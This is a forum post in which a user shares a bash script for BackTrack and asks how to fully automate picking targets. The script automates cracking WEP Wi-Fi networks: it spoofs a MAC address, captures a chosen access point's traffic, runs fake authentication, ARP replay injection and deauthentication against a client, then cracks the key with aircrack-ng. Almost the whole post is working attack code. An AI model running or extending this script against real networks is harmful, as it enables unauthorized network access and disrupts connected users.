hi. 1st sorry about my english, i'm asian

(fresh bt4 vm + edimark 7318usg)
my script like:-

Code:
#!/bin/bash
device=wlan0
driver=rt73usb
fake=00:11:22:33:44:55
enc=1

airmon-ng stop $device
ifconfig $device down
rmmod $driver
modprobe $driver
macchanger --mac 00:11:22:33:44:55 $device
iwconfig $device mode monitor
ifconfig $device up
airmon-ng start $device
airmon-ng stop mon0
sudo rm *.txt
sudo rm *.cap
sudo rm *.sh~
sudo rm *.arp-request
sudo rm *.ivs
sudo rm *.xor
sudo rm *.csv
clear

echo ""
echo "      ___________________________________________________  "
echo "     |                                                   | "
echo "     | chose your target, write down the ESSID,BSSID,ENC | "
echo "     | CH,and STATION. Once done close 'MONITOR' konsole | "
echo "     | and follow the instruction... have a nice day :-) | "
echo "     |___________________________________________________| "
echo ""

   konsole -T MONITOR --noclose -e airodump-ng $device

echo ""
read -p  "  A. CHANNEL (CH).......................?  " ch
read -p  "  B. ESSID..............................?  " essid
read -p  "  C. BSSID   xx:xx:xx:xx:xx:xx .........?  " bssid
read -p  "  D. STATION xx:xx:xx:xx:xx:xx .........?  " station
echo ""

if [ $enc = 1 ]
then
airmon-ng start $device $ch
airmon-ng stop mon0

iwconfig $device rate 1M

 konsole -T table-A --noclose -e airodump-ng -c $ch --write key --bssid $bssid $device &
sleep 3
 konsole -T table-B --noclose -e aireplay-ng -1 6000 -q 10 -o 1 -a $bssid -e $essid -h $fake $device &
sleep 10
 konsole -T table-C --noclose -e aireplay-ng -3 -b $bssid -e $essid -h $fake $device &
sleep 10
konsole -T table-FLASH -e aireplay-ng -0 50 -a $bssid -c $station -h $fake $device &
sleep 15
clear
echo "    please wait.........   "
echo "    do not close any konsole until you got thr password at table-D  "
sleep 30
        konsole -T table-D -e aircrack-ng key-01.cap
clear
echo ""
echo "  :-) "
exit
fi
any advice how to change to fully auto, mean
i dont want write down the input..just want chose the AP and client mac on the list
like
Code:
     choose your AP target

          esssid        enc
      a. aztech1       (wep)   1
      b. aztech2       (wpa)   2
      c. aztech3       (opn)   3


     chose your client

          essid       station
          aztech1     xx:xx:xx:xx:xx:xx   1
                      xx:xx:xx:xx:xx:xx   2
                      xx:xx:xx:xx:Xx:xx   3
then script auto run.
my imagine is
save any data when "MONITOR" run and recall back the data when "MONITOR" closed, how to make this script hapend..